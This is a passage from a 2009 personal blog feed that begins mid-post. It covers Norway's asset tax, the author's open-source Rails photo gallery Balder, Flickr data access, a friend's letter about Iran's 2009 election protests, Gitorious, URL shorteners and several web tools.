<p>Now $6000 is not something to file bankruptcy for. I can manage it. But lets assume that the Swedish music-streaming success and great service <a href="http://spotify.com">Spotify</a> was started in Norway. <a href="http://eu.techcrunch.com/2009/08/04/spotifys-e200-million-valuation-and-music-label-schmoozing-is-music-to-we7/">Techcrunch reports their value at $250m</a>. Lets also assume that founder <a href="http://en.wikipedia.org/wiki/Daniel_Ek">Daniel Ek</a> owns 20% (actually I would think he has a larger share). With a 1,1% asset tax this results in a $550 000 bill to the Norwegian government. And this should be paid by a person who owns shares in a company that is yet to make even one dollar in profits. Now that is something to be worried about.</p>
<p><br></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=Do7ut1VnShs:Tni2UBaCA24:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=Do7ut1VnShs:Tni2UBaCA24:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=Do7ut1VnShs:Tni2UBaCA24:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=Do7ut1VnShs:Tni2UBaCA24:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=Do7ut1VnShs:Tni2UBaCA24:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/Do7ut1VnShs" height="1" width="1" alt=""/>http://blog.inspired.no/the-entrepreneur-tax-that-kills-business-711/Balder - Open source photo gallery built with Ruby on Rails2009-11-09T00:00:00+01:00http://blog.inspired.no/balder-open-source-photo-gallery-built-with-ruby-on-rails-693/<ul>
<li><a href="http://photos.inspired.no">Public gallery showcase</a></li>
<li><a href="http://balderapp.com">Homepage</a></li>
<li><a href="http://github.com/espen/balder/">Source on GitHub</a></li>
</ul>
<p>So you got lots of photos, yeah? Tried installing some PHP-gallery and it sucked? Or bought a <a href="http://flickr.com">Flickr</a> Pro-account but want more control of how your photo collection is displayed (or still want <a href="/this-just-on-photos-taken-as-hostages-on-flickr-688">access to your data when you stop paying them</a>)? Fear not; <a href="http://balderapp.com">Balder</a> is here for the rescue.</p>
<p>As a result of a project with two photographers I did this summer I have now open sourced the code and named it Balder. It is a photo gallery built in Ruby on Rails. It aims to be minimalistically beautiful and simple to use. Look at it as Flickr on your own server - without the social features that is.</p>
<p>So what can it do?</p>
<ul>
<li>Organize in albums (as events in iPhoto)</li>
<li>Combine albums in collections (as albums in iPhoto)</li>
<li>Stores photos to disk in folders</li>
<li>Create multiple thumbnails of custom sizes</li>
<li>Read and writes EXIF/IPTC title, description and keywords</li>
<li>Upload multiple photos in one go (can also scan existing folder structure)</li>
<li>Tag photos. Can also tag albums (or the result is that all photos in the album is tagged)</li>
<li>User management with roles and permissions</li>
<li>Geo-location of albums &amp; photos with Google Maps integration.</li>
</ul>
<p>If you want to see it in action look no further than to this domain. After my <a href="http://travel.inspired.no">10-month trip</a> in 2008 I took a few photos and you can see a selection at <a href="http://photos.inspired.no">photos.inspired.no</a>.</p>
<p>And this is how it looks for the administrator:</p>
<p>Upload multiple photos with live progress:
<img src="http://balderapp.com/images/upload_photos_progress.png" alt="Upload photos in Balder" style="border:1px solid #000;"/></p>
<p>Add albums to collection:
<img src="http://balderapp.com/images/album-add-to-collection.png" alt="Add albums to collection in Balder" style="border:1px solid #000;" /></p>
<p>Want to try it out? Head over to <a href="http://balderapp.com">BalderApp.com for this free open source Ruby on Rails photo gallery</a> or go directly to the source-code which you can find at both <a href="http://github.com/espen/balder">GitHub</a> and <a href="http://gitorious.org/balder">Gitorious</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=X7bU0eytyMM:wotePKaLoNY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=X7bU0eytyMM:wotePKaLoNY:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=X7bU0eytyMM:wotePKaLoNY:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=X7bU0eytyMM:wotePKaLoNY:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=X7bU0eytyMM:wotePKaLoNY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/X7bU0eytyMM" height="1" width="1" alt=""/>http://blog.inspired.no/balder-open-source-photo-gallery-built-with-ruby-on-rails-693/This just in: Photos taken as hostages on Flickr2009-06-23T00:00:00+02:00http://blog.inspired.no/this-just-on-photos-taken-as-hostages-on-flickr-688/<p><img class="alignnone" title="Flickr hostage" src="http://farm3.static.flickr.com/2188/3653247019_30f00da588.jpg" alt="" width="500" height="288" /></p>
<p><a href="http://www.flickr.com/photos/_johan_/">Johan</a> is in the same situation as me; had <a href="http://flickr.com">Flickr</a> Pro for a while and didn't really feel the need to continue it. My pro account expired in April and I should have backed up all my photos because now I have to pay $24,95 to be able to do so. With a free account only the latest 200 photos are available. Not only public but in the organization tool in Flickr as well as the API.</p>
<p>This is a very good example of the type of problems that exists with storing data in the cloud. We as users must demand access to our own data, whether we continue to pay for the service or not.</p>
<p>I am making a <a href="http://photos.inspired.no">photo gallery</a> myself and it is currently in beta. I plan to include an import function that will utilize the Flickr API; download the most recent photos and delete them when their saved on my own server. This way I should be able to get out all of MY photos.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=TeDWpuANtPQ:Xvmq-ooeNLU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=TeDWpuANtPQ:Xvmq-ooeNLU:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=TeDWpuANtPQ:Xvmq-ooeNLU:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=TeDWpuANtPQ:Xvmq-ooeNLU:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=TeDWpuANtPQ:Xvmq-ooeNLU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/TeDWpuANtPQ" height="1" width="1" alt=""/>http://blog.inspired.no/this-just-on-photos-taken-as-hostages-on-flickr-688/A letter from Iran2009-06-18T00:00:00+02:00http://blog.inspired.no/a-letter-from-iran-684/<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">hi espen</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">how r u? here every things is close. thats why i cant come on line in face book.even messenger... just very slowly smtimes yahoo.... sms is close. and most of day even phones r close...</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">what can i say about their violence? u cant even emagine that... plz tell me what things u want to know?</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">just i can say here is hill. everybody that u ask elected musavi... but see... its very hard when u know they r cheating u and u cant even shout or say give my right. all over the city is full of souldures and polices and.... some of them r from libenan, its funny that he pay money to arabic people to kill and beat iranian coz they want their right.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">every day we go to protest... every night people r out...some with car and some walking.... they bleep to show their opositions.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">i dont know what will happen to us...! but this not humanity.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">today was the cermoney of people who died, they killed... and there r too much more the ones who r arrested and in prison they persecute them... i saw manythings by my eyes, they beated me too just coz i was walking in street...</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">any way, im really not good. i feel very sad now and dont know what can we do?!!!</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">they dont want even to count again , even if they do now its not reallity. they changed everythings... and our leader khamenei send congradulation to ahmadi nejad!</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">in saturday, counting finished in 2 oclock but they called on 8 oclock, before it get finish. 24 million... really funny. in all newspaper that reacived in our hand at 11,(3hours before counting finish) they said ahmadi nejad was win...</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">so they think people r stupid. but this time nobody accepted. but unfortunally just in tehran. coz people in other cities dont have risk and they affraid, if they beat one of them they even dont come out. and in tehran also, how do u think? how many days more people can come out and protest and...?!!!!!! they r dictator. finally they will get tired and force to accept, same as always...</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">before election i talked with many people in all cities... %80 said musavi... how can it be possible?!!! and if they r right, why they dont care about people who r shouting give back my vote? its not election, its selection......? why all phones r close? why they kill? they dont let people show....</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">and these people who r out r %20 of opositions. for example arround me, everybody elected musavi, but now they dont come out,they affraid... so, see this %20... everybody who can think, understand its rigging.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">actually people r tired of this regim. musavi was a excues that they come out against of them.we didnt have too much choise.and all of our choises force to work for this government and regim,they have to.so we had to choose between them. but for sure every one of them would be better than ahmadinejad.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">any way, u say about there and ur news about iran there and other places. what and how do u feel about it and what will happen from ur side?</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">take care</div>
<p>hi espen</p>
<p>how r u? here every things is close. thats why i cant come on line in face book.even messenger... just very slowly smtimes yahoo.... sms is close. and most of day even phones r close...</p>
<p>what can i say about their violence? u cant even emagine that... plz tell me what things u want to know?</p>
<p>just i can say here is hill. everybody that u ask elected musavi... but see... its very hard when u know they r cheating u and u cant even shout or say give my right. all over the city is full of souldures and polices and.... some of them r from libenan, its funny that he pay money to arabic people to kill and beat iranian coz they want their right.</p>
<p>every day we go to protest... every night people r out...some with car and some walking.... they bleep to show their opositions.</p>
<p>i dont know what will happen to us...! but this not humanity.</p>
<p>today was the cermoney of people who died, they killed... and there r too much more the ones who r arrested and in prison they persecute them... i saw manythings by my eyes, they beated me too just coz i was walking in street...</p>
<p>any way, im really not good. i feel very sad now and dont know what can we do?!!!</p>
<p>they dont want even to count again , even if they do now its not reallity. they changed everythings... and our leader khamenei send congradulation to ahmadi nejad!</p>
<p>in saturday, counting finished in 2 oclock but they called on 8 oclock, before it get finish. 24 million... really funny. in all newspaper that reacived in our hand at 11,(3hours before counting finish) they said ahmadi nejad was win...</p>
<p>so they think people r stupid. but this time nobody accepted. but unfortunally just in tehran. coz people in other cities dont have risk and they affraid, if they beat one of them they even dont come out. and in tehran also, how do u think? how many days more people can come out and protest and...?!!!!!! they r dictator. finally they will get tired and force to accept, same as always...</p>
<p>before election i talked with many people in all cities... %80 said musavi... how can it be possible?!!! and if they r right, why they dont care about people who r shouting give back my vote? its not election, its selection......? why all phones r close? why they kill? they dont let people show....</p>
<p>and these people who r out r %20 of opositions. for example arround me, everybody elected musavi, but now they dont come out,they affraid... so, see this %20... everybody who can think, understand its rigging.</p>
<p>actually people r tired of this regim. musavi was a excues that they come out against of them.we didnt have too much choise.and all of our choises force to work for this government and regim,they have to.so we had to choose between them. but for sure every one of them would be better than ahmadinejad.</p>
<p>any way, u say about there and ur news about iran there and other places. what and how do u feel about it and what will happen from ur side?</p>
<p>take care
[name removed]</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=6OKlp-z5esU:SpSqMqLSzy0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=6OKlp-z5esU:SpSqMqLSzy0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=6OKlp-z5esU:SpSqMqLSzy0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=6OKlp-z5esU:SpSqMqLSzy0:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=6OKlp-z5esU:SpSqMqLSzy0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/6OKlp-z5esU" height="1" width="1" alt=""/>http://blog.inspired.no/a-letter-from-iran-684/Engelab Iran2009-06-17T00:00:00+02:00http://blog.inspired.no/engelab-iran-673/<p>I spent three months in Iran last year and got introduced to the most welcoming people I have ever met on my travels. Iranian hospitality is legendary and was impressive by both the young, rich and liberal in north Tehran as well as large poor families in conservative rural towns. I also made some good friends there who I keep thinking of while these current events keep escalating.</p>
<p>Me and two Italian friends had dinner at Naghsh-e Jahan Square in Isfahan. The second largest square after Tiananmen square in China. The three girls on the next table were pretty and not at all shy. They showed us around town and bought us lunch (no argument there).</p>
<p>And this is what it looked like today, filled with <em>brave Iranians fighting for their rights</em> and for their vote to count.</p>
<p><img class="alignnone" title="isfahan" src="http://farm4.static.flickr.com/3400/3634327482_b803f31cff.jpg?v=0" alt="" width="500" height="333" /></p>
<p>My friends in Isfahan went to the university and lived at the dormotories. Earlier today there were reports of <strong>attacks on the dormotory</strong> there and <a href="http://www.facebook.com/video/video.php?v=1101321063779&amp;ref=nf">this video confirms it.</a> I hope they are ok.</p>
<p>Most people see Iran as an axis of evil. A dangerous place. With fanatical and religious people. I have <a href="http://blog.inspired.no/snowboarding-in-iran-609">written before about the truth</a> about Iran and its people. But even so I am surprised about the turnout of these demonstrations and how brave the people are for standing up to their government. When I was there I tried talking to people about the problems that exists because of their leader and the way the state is structutured. Most people were very dissatisfied with the government but they seemed to be very apathatic about making any changes. They tried to live their lives and kept their joys in private. Maybe this time the government pushed too far with their fraud. Or maybe they saw that when (even) America can <a href="http://change.gov">CHANGE</a> so can Iran. Another thing to remember is that Iran tried this 30 years ago. These events are in some ways very much alike to what happened when Khomehni took power. The people were dissatisfied with the Shah (king) and wanted a true democracy. Khomehni promised it but as we all now did not live up to his words. The result is that Iranians have until now been very reluctant to make such a major change again.</p>
<p>These events also make me think how lucky my timing was last year. I was in Tehran in early 2008 and suddenly there was an election which was all new to me. But it was a local election. I went out on the streets to check it out but it was a ghost town except for a small crowd of 50 people outside the university where the voting booth was. One old man shouted "Bush - monkey. Bush - monkey" and I smiled and said "balle" - "yes". Earlier that month another important event occurred in Tehran - the day of the revolution. About a million conservative Iranians parades in the streets along with me and two Norwegian girls. But it was a peaceful day out for families and people were smiling.</p>
<p>While I am worried for my friends in Iran and worried that the demonstration will be cracked down upon without any result, or maybe even for the worse, I am still glad to see these events occuring. A change for a slightly more liberal president is not enough. A revolution is needed.</p>
<p><strong><em>Engelab Iran - Azadi.</em></strong></p>
<p><strong>Revolution Iran - Freedom.</strong></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=lNtdl3Y-vNw:pxxmENFO-pI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=lNtdl3Y-vNw:pxxmENFO-pI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=lNtdl3Y-vNw:pxxmENFO-pI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=lNtdl3Y-vNw:pxxmENFO-pI:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=lNtdl3Y-vNw:pxxmENFO-pI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/lNtdl3Y-vNw" height="1" width="1" alt=""/>http://blog.inspired.no/engelab-iran-673/Google releases Page Speed for Firebug2009-06-04T00:00:00+02:00http://blog.inspired.no/google-releases-page-speed-for-firebug-665/<p>Users of the excellent <a href="http://www.getfirebug.com/">Firebug</a> debug tool for <a href="http://getfirefox.com">Firefox</a> probably also uses <a href="http://developer.yahoo.com/yslow/">YSlow</a>, a performance analyzer from Yahoo! It gives good tips for decreasing page load time such as gzipping static files or combining javascript files. Google has now <a href="http://googlewebmastercentral.blogspot.com/2009/06/introducing-page-speed.html">released a similar add-on</a> for Firebug called Page Speed. It is very similar to YSlow but it also introduces a new tab feature called"Page speed activity", a request overview, and in addition to giving performance suggestions it also tells you the improvements of implementing the suggested changes.</p>
<p><img class="alignnone size-full wp-image-668" title="improvements-1" src="http://blog.inspired.no/wp-content/uploads/2009/06/improvements-1.png" alt="improvements-1" width="589" height="138" /></p>
<p><a href="http://code.google.com/speed/page-speed/">You can find Page Speed over at Google Code.</a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=F4sVZfpk7QM:P7sFdRwvj2g:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=F4sVZfpk7QM:P7sFdRwvj2g:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=F4sVZfpk7QM:P7sFdRwvj2g:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=F4sVZfpk7QM:P7sFdRwvj2g:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=F4sVZfpk7QM:P7sFdRwvj2g:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/F4sVZfpk7QM" height="1" width="1" alt=""/>http://blog.inspired.no/google-releases-page-speed-for-firebug-665/Let them all win..2009-05-20T00:00:00+02:00http://blog.inspired.no/let-them-all-win-661/<p>Quite a diplomatic result for the winners in the "browsing" category in <a href="http://www.webware.com/100/">CNET's Webware 100</a>: Firefox, Flock, Google Chrome, Internet Explorer 8, Maxthon, Opera and Safari. In addition to all the browsers and browser-shells Diigo, iGoogle and XMarks won as well.</p>
<p><img class="alignnone size-full wp-image-662" title="webware-100-2009-cnet" src="http://blog.inspired.no/wp-content/uploads/2009/05/webware-100-2009-cnet.png" alt="webware-100-2009-cnet" width="602" height="105" /></p>
<p>I suggest that CNET drops this category.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=8Z-omXayH-4:idMX4Mfxe_U:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=8Z-omXayH-4:idMX4Mfxe_U:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=8Z-omXayH-4:idMX4Mfxe_U:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=8Z-omXayH-4:idMX4Mfxe_U:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=8Z-omXayH-4:idMX4Mfxe_U:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/8Z-omXayH-4" height="1" width="1" alt=""/>http://blog.inspired.no/let-them-all-win-661/Gitorious - free open source git project hosting2009-05-11T00:00:00+02:00http://blog.inspired.no/gitorious-free-open-source-git-project-hosting-646/<p><a href="http://github.com">GitHub</a> is a very popular repository hosting for open source ruby projects. <a href="http://git-scm.com/">Git</a> is a version control system similar to (but a lot better than) SVN. I use git hosted on GitHub for my current project, <a href="http://makeplans.no">MakePlans - a booking/reservation system</a>. But for many is GitHub not a viable alternative since it is not free for non open-source projects and while it is great for many to outsource backups and repository management, it is not an option for those who needs to host it in-house due to security or other internal guidelines.</p>
<p>Enter <a href="http://gitorious.org">Gitorious</a>!</p>
<p><a href="http://twitter.com/johans">Johan Sørensen</a> from <a href="http://shortcut.no">Shortcut</a>, a ruby on rails company here in Oslo, made this amazing free open-source <span style="text-decoration: line-through;">"GitHub-clone"</span> (update: Gitorious was launched the same week as GitHub.). It has been available as a open-source project for awhile but <a href="http://blog.gitorious.org/2009/05/09/weve-made-a-few-changes/">recently Shortcut</a> made a free public site available for those who do not want to install Gitorious themselves.</p>
<p><img class="alignnone size-full wp-image-649" title="Gitorious source viewer" src="http://blog.inspired.no/wp-content/uploads/2009/05/gitorious_source-1.png" alt="Gitorious source viewer" width="567" height="242" /></p>
<p>Gitorious boost most of the features that GitHub has:</p>
<ul>
<li>Host git-repositories.</li>
<li>Visual source browser.</li>
<li>Teams.</li>
<li>History of the commit log.</li>
<li>Clone/fork projects, download zipped file.</li>
<li>Comments.</li>
<li>Notficitation system.</li>
</ul>
<p>On a day to day basis the source tree browser is what I most often use with GitHub. It is ajax-based and loads commit messages after the rest of the page is loaded. This is often a slow process in GitHub and something that works much better in Gitorious where no ajax is used.</p>
<p>There is not much I miss from GitHub, but I cannot see a way to constantly watch others repositories as is possible in GitHub. I follow various rails-projects in GitHub but I use it mainly as a form of bookmark so it is not a very important feature for me.</p>
<p><a href="http://labs.trolltech.com/blogs/2009/05/11/qt-public-repository-launched/">QT announced today</a> that they will use Gitorious as their public repository for their cross-platform UI framework. Hopefully more will follow so Gitorious can gain the attention it deserves compared to GitHub.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=lxCn9Oyzlnc:KUlT3POOpRY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=lxCn9Oyzlnc:KUlT3POOpRY:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=lxCn9Oyzlnc:KUlT3POOpRY:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=lxCn9Oyzlnc:KUlT3POOpRY:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=lxCn9Oyzlnc:KUlT3POOpRY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/lxCn9Oyzlnc" height="1" width="1" alt=""/>http://blog.inspired.no/gitorious-free-open-source-git-project-hosting-646/The Problem with URL Shorteners: ow.ly Server Errors2009-04-14T00:00:00+02:00http://blog.inspired.no/the-problem-with-url-shorteners-owly-server-errors-644/<p><a href="http://www.cloudave.com/link/the-problem-with-url-shorteners-ow-ly-server-errors">This is a cross-post from CloudAve.</a></p>
<p><span><img class="alCenter" style="border: 1px solid black; margin: 0px 2px; padding: 5px;" title="Ow.ly server error" src="http://www.cloudave.com/image/50000000400375/ow.ly%20url%20shortener%20-%20shrink%20urls%20and%20get%20statistics%20-%20owly.png" alt="" /></span>
If you currently click on a <span><a href="http://ow.ly">ow.ly</a> </span>shortened URL you will be shown a server error page at ow.ly - not the URL you or the publisher intended you to see. Proponents of these services have so far ignored the main problem; trusting a third party. I guess they see the problem now when potential visitors to their site are stopped by a server error on someone else's site.
The question of trust in this regard is especially important because these services has no working business model. Also any developer can create such a service in less than an hour making the barriers of entry for this service extremely low. Expect to see URL shortener services changing their tactics: <span><a href="http://digg.com">Digg</a></span> launched their already <span><a href="http://daringfireball.net/2009/04/how_to_block_the_diggbar">much hated</a></span> DiggBar last week. This service unlike most other url shortener services wraps the actual landing page in a frame and adds a top-frame bar with Digg information. Ow.ly is also now doing this (unsure if this feature is new to this service). The problem for site owners is that they have no control over how these services will change. DiggBar is already "stealing" link-juice by having a digg-shortened link <span><a href="http://daringfireball.net/linked/2009/04/14/diggbar-delicious">on Delicious instead of the original url</a></span>. Also DiggBar and Ow.ly responds with a frameset (200 http status code) instead of a redirect (301 http status code). This can result in a lower pagerank as Google will not see the link from "Site X" to "Site Y" but instead from Digg.com to "Site Y". In my view <span><a href="http://www.techcrunch.com/2009/04/06/are-url-shorteners-a-necessary-evil-or-just-evil/">URL shorteners are just plain evil.</a> They add an extra <span><a href="http://joshua.schachter.org/2009/04/on-url-shorteners.html">unnecessary layer</a></span> on the web.</span></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=9iYpZHGqOxk:E14DpFT5gmk:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=9iYpZHGqOxk:E14DpFT5gmk:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=9iYpZHGqOxk:E14DpFT5gmk:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=9iYpZHGqOxk:E14DpFT5gmk:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=9iYpZHGqOxk:E14DpFT5gmk:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/9iYpZHGqOxk" height="1" width="1" alt=""/>http://blog.inspired.no/the-problem-with-url-shorteners-owly-server-errors-644/Bluebird2009-04-04T00:00:00+02:00http://blog.inspired.no/bluebird-640/<p>Still in beta but on its way to be the best <a href="http://twitter.com">Twitter</a> client on OSX. Thankfully not resource heavy as the case with <a href="http://www.adobe.com/products/air/">AIR-based</a> clients like <a href="http://tweetdeck.com">TweetDeck</a>.</p>
<p><a href="http://bluebirdapp.com/">Bluebird twitter client</a></p>
<p>I am using the <a href="http://idzr.org/light">Light theme</a></p>
<p><img class="alignnone" title="Light theme for Bluebird" src="http://idzr.org/2h63" alt="" width="360" height="600" /></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=oPQJAlgiXd8:uMMCUapbYyo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=oPQJAlgiXd8:uMMCUapbYyo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=oPQJAlgiXd8:uMMCUapbYyo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=oPQJAlgiXd8:uMMCUapbYyo:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=oPQJAlgiXd8:uMMCUapbYyo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/oPQJAlgiXd8" height="1" width="1" alt=""/>http://blog.inspired.no/bluebird-640/